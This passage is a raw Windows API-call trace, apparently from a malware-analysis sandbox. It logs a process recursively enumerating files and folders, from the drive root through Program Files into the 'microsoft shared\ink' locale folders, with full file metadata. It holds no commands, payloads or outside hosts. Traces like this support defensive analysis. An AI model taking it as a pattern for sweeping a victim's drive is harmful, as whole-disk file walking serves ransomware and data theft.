lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0283.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.428] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0283.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.428] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0283.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.428] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0283.428] FindClose (in: hFindFile=0x543d90 | out: hFindFile=0x543d90) returned 1 [0283.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0283.428] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0283.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d70948 | out: hHeap=0x4e0000) returned 1 [0283.429] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0283.430] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d70948 | out: hHeap=0x4e0000) returned 1 [0283.430] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x22275200, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0283.439] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d70948 | out: hHeap=0x4e0000) returned 1 [0283.439] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x24c97ed6, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0283.440] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d70948 | out: hHeap=0x4e0000) returned 1 [0283.440] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf182444c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf182444c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0283.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.441] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0283.445] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0283.445] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x2e7f584 | out: lpFindFileData=0x2e7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0283.446] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.446] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0283.446] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.446] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0283.447] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.447] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0283.447] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.447] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0283.447] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.447] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0283.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.448] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0283.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.448] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0283.588] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.588] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0283.588] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.588] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0283.588] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.588] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0283.589] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.589] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0283.589] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.589] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0283.589] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.589] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0283.589] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.589] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0283.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.590] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0283.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.590] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0283.590] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.590] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0283.593] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.593] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0283.593] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.593] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0283.593] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.593] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0283.594] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.594] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0283.594] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.594] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0283.594] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.594] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0283.595] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0283.595] FindNextFileW (in: hFindFile=0x543e90, lpFindFileData=0x2e7f08c | out: lpFindFileData=0x2e7f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0283.595] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.595] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0283.595] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.595] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0283.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.596] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0283.596] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0283.596] FindNextFileW (in: hFindFile=0x543f50, lpFindFileData=0x2e7f308 | out: lpFindFileData=0x2e7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, 